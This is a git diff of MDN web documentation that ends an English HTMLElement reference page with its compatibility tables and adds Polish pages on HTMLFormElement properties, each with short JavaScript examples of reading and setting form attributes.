{{domxref("HTMLPropertiesCollection")}}…</dd> + <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt> + <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it hasn't an effect on all of them.</dd> + <dt>{{domxref("HTMLElement.style")}}</dt> + <dd>Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd> + <dt>{{domxref("HTMLElement.tabIndex")}}</dt> + <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd> + <dt>{{domxref("HTMLElement.title")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd> + <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt> + <dd>Is a {{jsxref("Boolean")}}</dd> +</dl> + +<h3 id="Event_handlers">Event handlers</h3> + +<p>Most events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p> + +<dl> + <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd> + <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd> + <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd> + <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchend")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLElement.blur()")}}</dt> + <dd>Removes keyboard focus from the currently focused element.</dd> + <dt>{{domxref("HTMLElement.click()")}}</dt> + <dd>Sends a mouse click event to the element.</dd> + <dt>{{domxref("HTMLElement.focus()")}}</dt> + <dd>Makes the element the current keyboard focus.</dd> + <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt> + <dd>Makes the spell checker runs on the element.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br> + Added the following method: <code>forceSpellcheck()</code>.<br> + Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br> + Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>No change from {{SpecName('DOM2 HTML')}}</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>17.0</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td> + <td>{{CompatGeckoDesktop("8.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}{{WebkitBug(72715)}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.blur()", "blur()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.click()", "click()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>9.0</td> + <td>{{CompatUnknown}}</td> + <td>11.10</td> + <td>5.1</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.focus()", "focus()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5.5</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td> + <td>{{CompatGeckoDesktop("1.8.1")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.style", "style")}}</td> + <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>8.0</td> + <td>11</td> + <td>11.10</td> + <td>6</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.draggable", "draggable")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>12.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>12.0</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>11.60<br> + (Removed in Opera 15)</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatGeckoMobile("1.0")}}</p> + </td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + <td rowspan="7">{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td> + <td>{{CompatGeckoMobile("8.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.blur()", "blur()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.click()", "click()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoMobile("6.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.focus()", "focus()")}}</td> + <td>{{CompatGeckoMobile("5.0")}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td> + <td>{{CompatGeckoMobile("1.9")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}}</li> +</ul> diff --git a/files/pl/web/api/htmlformelement/acceptcharset/index.html b/files/pl/web/api/htmlformelement/acceptcharset/index.html new file mode 100644 index 0000000000..c71b52269f --- /dev/null +++ b/files/pl/web/api/htmlformelement/acceptcharset/index.html @@ -0,0 +1,33 @@ +--- +title: HTMLFormElement.acceptCharset +slug: Web/API/HTMLFormElement/acceptCharset +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/acceptCharset +--- +<p> </p> + +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>acceptCharset</b> Zwraca listę obsługiwanych przez formularz zestawów znaków dla danego elementu FORM. Lista ta będzie oddzielona przecinkiem lub spacją.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.acceptCharset; +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">inputs = document.forms["myform"].acceptCharset +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-19661795">DOM Level 2 HTML: acceptCharset</a></p> + +<p>{{ languages( { "en": "en/DOM/form.acceptCharset" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/action/index.html b/files/pl/web/api/htmlformelement/action/index.html new file mode 100644 index 0000000000..ba03220cd0 --- /dev/null +++ b/files/pl/web/api/htmlformelement/action/index.html @@ -0,0 +1,36 @@ +--- +title: HTMLFormElement.action +slug: Web/API/HTMLFormElement/action +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/action +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>action</b> pobiera/ustawia akcję dla elementu FORM.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.action +form.action = +<i>string</i> +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>form.action = "/cgi-bin/publish";</p> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Akcja w formularzu jest programem, który jest wykonywany na serwerze kiedy formularz zostanie wysłany. Ta własność może być odzyskiwana lub ustawiana.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-74049184">DOM Level 2 HTML: action</a></p> + +<p>{{ languages( { "ja": "ja/DOM/form.action", "en": "en/DOM/form.action" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/elements/index.html b/files/pl/web/api/htmlformelement/elements/index.html new file mode 100644 index 0000000000..929f7c7640 --- /dev/null +++ b/files/pl/web/api/htmlformelement/elements/index.html @@ -0,0 +1,36 @@ +--- +title: HTMLFormElement.elements +slug: Web/API/HTMLFormElement/elements +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/elements +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>elements</b> zwraca kolekcję <code><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-2-HTML-20011025/html.html#ID-75708506">HTMLCollection</a></code> wszystkich kontrolek zawartych w elemencie FORM.</p> + +<p>Do konkretnego elementu możesz odnosić się poprzez indeks lub za pomocą nazwy (<a href="pl/DOM/element.name">name</a>) bądź <a href="pl/DOM/element.id">id</a> tego elementu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>listaWęzłów</i> = +<i>HTMLFormElement</i>.elements +</pre> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre class="eval">var inputs = document.getElementById("form1").elements; +var inputByIndex = inputs[2]; +var inputByName = inputs["login"]; +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Specyfikacja W3C DOM 2 HTML: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76728479">elements</a></p> + +<p>{{ languages( { "en": "en/DOM/form.elements", "ja": "ja/DOM/form.elements" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/encoding/index.html b/files/pl/web/api/htmlformelement/encoding/index.html new file mode 100644 index 0000000000..aabd43e66f --- /dev/null +++ b/files/pl/web/api/htmlformelement/encoding/index.html @@ -0,0 +1,15 @@ +--- +title: HTMLFormElement.encoding +slug: Web/API/HTMLFormElement/encoding +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/encoding +--- +<p> </p> + +<p>{{ ApiRef() }} <b>encoding</b> jest alternatywną nazwą dla elementu <a href="pl/DOM/form.enctype">enctype</a> w obiekcie DOM FormElement.</p> + +<p>{{ languages( { "en": "en/DOM/form.encoding" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/enctype/index.html b/files/pl/web/api/htmlformelement/enctype/index.html new file mode 100644 index 0000000000..2a90fe13a9 --- /dev/null +++ b/files/pl/web/api/htmlformelement/enctype/index.html @@ -0,0 +1,39 @@ +--- +title: HTMLFormElement.enctype +slug: Web/API/HTMLFormElement/enctype +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/enctype +--- +<p> </p> + +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>enctype</b> pobiera/ustawia typ zawartości elementu FORM.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.enctype +form.enctype = +<i>string</i> +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">form.enctype = "application/x-www-form-urlencoded"; +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Typem kodowania jest ogólnie "application/x-www-form-urlencoded".</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-84227810">DOM Level 2 HTML: enctype</a></p> + +<p>{{ languages( { "en": "en/DOM/form.enctype" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/index.html b/files/pl/web/api/htmlformelement/index.html new file mode 100644 index 0000000000..3c0d1ade95 --- /dev/null +++ b/files/pl/web/api/htmlformelement/index.html @@ -0,0 +1,143 @@ +--- +title: HTMLFormElement +slug: Web/API/HTMLFormElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Interfejs_elementu_HTML_FORM" name="Interfejs_elementu_HTML_FORM">Interfejs elementu HTML FORM</h3> + +<p>Elementy <code>FORM</code> mają wszystkie właściwości i metody innych elementów HTML, tak jak opisano w rozdziale o <a href="pl/DOM/element">elementach</a>. Jednocześnie mają one bardziej wyspecjalizowany interfejs <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40002357">HTMLFormElement</a>.</p> + +<p>Interfejs ten dostarcza metod do tworzenia i modyfikacji elementów <code>FORM</code> przy użyciu DOM. Poniższy przykład przedstawia, jak utworzyć nowy formularz, zmienić jego atrybuty i wysłać go.</p> + +<pre>// Utwórz formularz +var f = document.createElement("form"); + +// Dodaj do zawartości dokumentu +document.body.appendChild(f); + +// Ustaw atrybuty oznaczające akcję i metodę wysyłania +f.action = "/cgi-bin/some.cgi"; +f.method = "POST" + +// Wyślij formularz +f.submit(); +</pre> + +<p>Z kolei poniższy dokument HTML przedstawia jak wydobyć informacje z formularza i nadać mu pewne atrybuty.</p> + +<pre><title>Przykład formularza</title> +<script type="text/javascript"> + function getFormInfo() { + var info; + + // Znajdź referencję do formularza poprzez kolekcję forms + var f = document.forms["formA"]; + info = "f.elements: " + f.elements + "\n" + + "f.length: " + f.length + "\n" + + "f.name: " + f.elements + "\n" + + "f.acceptCharset: " + f.acceptCharset + "\n" + + "f.action: " + f.action + "\n" + + "f.enctype: " + f.enctype + "\n" + + "f.encoding: " + f.encoding + "\n" + + "f.method: " + f.method + "\n" + + "f.target: " + f.target; + document.forms["formA"].elements['tex'].value = info; + } + + // Referencja do formularza jest przekazywana z atrybutu + // onclick przycisku za pomocą 'this.form' + function setFormInfo(f) { + f.method = "GET"; + f.action = "/cgi-bin/evil_executable.cgi"; + f.name = "totally_new"; + } +</script> + +<h1>Przykład formularza</h1> + +<form name="formA" id="formA" + action="/cgi-bin/test" method="POST"> + <p>Kliknij "info" by zobaczyć informację o formularzu, + "zmień" by zmienić ustawienia, a następnie ponownie "info" + by zobaczyć efekt zmian.</p> + <p> + <input type="button" value="info" + onclick="getFormInfo();"> + <input type="button" value="zmień" + onclick="setFormInfo(this.form);"> + <input type="reset" value="zresetuj"> + <br> + <textarea id="tex" style="height:15em; width:20em"> + </p> +</form> +</pre> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/form.elements">form.elements</a></dt> + <dd>Zwraca kolekcję wszystkich kontrolek zawartych w elemencie <code>FORM</code>.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.length">form.length</a></dt> + <dd>Zwraca ilość kontrolek w elemencie <code>FORM</code>.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.name">form.name</a></dt> + <dd>Zwraca ciąg z nazwą bieżącego elementu <code>FORM</code>.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.acceptCharset">form.acceptCharset</a></dt> + <dd>Zwraca listę obsługiwanych przez formularz zestawów znaków.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.action">form.action</a></dt> + <dd>Pobiera/ustawia akcję dla elementu <code>FORM</code>.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.enctype">form.enctype</a></dt> + <dd>Pobiera/ustawia typ zawartości wysyłanej przez formularz.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.encoding">form.encoding</a></dt> + <dd>Pobiera/ustawia typ zawartości wysyłanej przez formularz.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.method">form.method</a></dt> + <dd>Pobiera/ustawia metodę HTTP używaną do wysłania formularza.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.target">form.target</a></dt> + <dd>Pobiera/ustawia okno docelowe akcji formularza (np. ramka, w której zostanie wyrenderowana zwrócona strona).</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="pl/DOM/form.submit">form.submit</a></dt> + <dd>Wysyła formularz</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/form.reset">form.reset</a></dt> + <dd>Przywraca formularz do jego stanu początkowego</dd> +</dl> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/form", "es": "es/DOM/form", "fr": "fr/DOM/form", "ja": "ja/DOM/form" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/length/index.html b/files/pl/web/api/htmlformelement/length/index.html new file mode 100644 index 0000000000..36c5c63349 --- /dev/null +++ b/files/pl/web/api/htmlformelement/length/index.html @@ -0,0 +1,33 @@ +--- +title: HTMLFormElement.length +slug: Web/API/HTMLFormElement/length +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/length +--- +<p>{{ ApiRef() }}</p> + +<h4 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h4> + +<p>length zwraca liczbę kontrolek w elemencie FORM.</p> + +<h4 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h4> + +<pre class="eval"><i>integer</i> = form.length +</pre> + +<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4> + +<pre class="eval">if (document.getElementById("form1").length > 1) { + // więcej niż jedena kontrolka formularza jest tu +} +</pre> + +<h4 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h4> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></p> + +<p>{{ languages( { "ja": "ja/DOM/form.length", "en": "en/DOM/form.length" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/method/index.html b/files/pl/web/api/htmlformelement/method/index.html new file mode 100644 index 0000000000..d1829b02c6 --- /dev/null +++ b/files/pl/web/api/htmlformelement/method/index.html @@ -0,0 +1,35 @@ +--- +title: HTMLFormElement.method +slug: Web/API/HTMLFormElement/method +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/method +--- +<p> </p> + +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><b>method</b> pobiera/ustawia metodę HTTP używaną do wysłania formularza.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.method +form.method = +<i>string</i> +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">document.forms["myform"].method = "post"; +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-82545539">DOM Level 2 HTML: method</a></p> + +<p>{{ languages( { "ja": "ja/DOM/form.method", "en": "en/DOM/form.method" } ) }}</p> diff --git a/files/pl/web/api/htmlformelement/name/index.html b/files/pl/web/api/htmlformelement/name/index.html new file mode 100644 index 0000000000..673ab8f847 --- /dev/null +++ b/files/pl/web/api/htmlformelement/name/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLFormElement.name +slug: Web/API/HTMLFormElement/name +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLFormElement/name +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>name</code> zwraca nazwą bieżącego elementu <code>FORM</code> jako łańcuch znaków.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>string</i> = form.name +form.name = +<i>string</i> +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">form1 = document.getElementById("form1").name; +if (form1 != document.form.form1) { + // przeglądarka nie obsługuje tego odniesienia do formularza +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Uwaga, ta własność jest do odczytu/zapisu, która znaczy, że możemy zmienić lub ustawić nazwę formularza.</p> + +<p>Jeśli Twój <code>FORM</code> zawiera element nazwany "nazwany_element", następnie ten element przesłania własność <code>form.name</code>, więc nie możesz uzyskać do niego dostępu.</p> + +<p>Internet Explorer (IE) nie pozwala nazwie tworzonego elementu używać <code>createElement()</code> będącej ustawieniem lub modyfikacją używającą własność <code>name</code> property.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">DOM Level 2 HTML: name</a></p> + 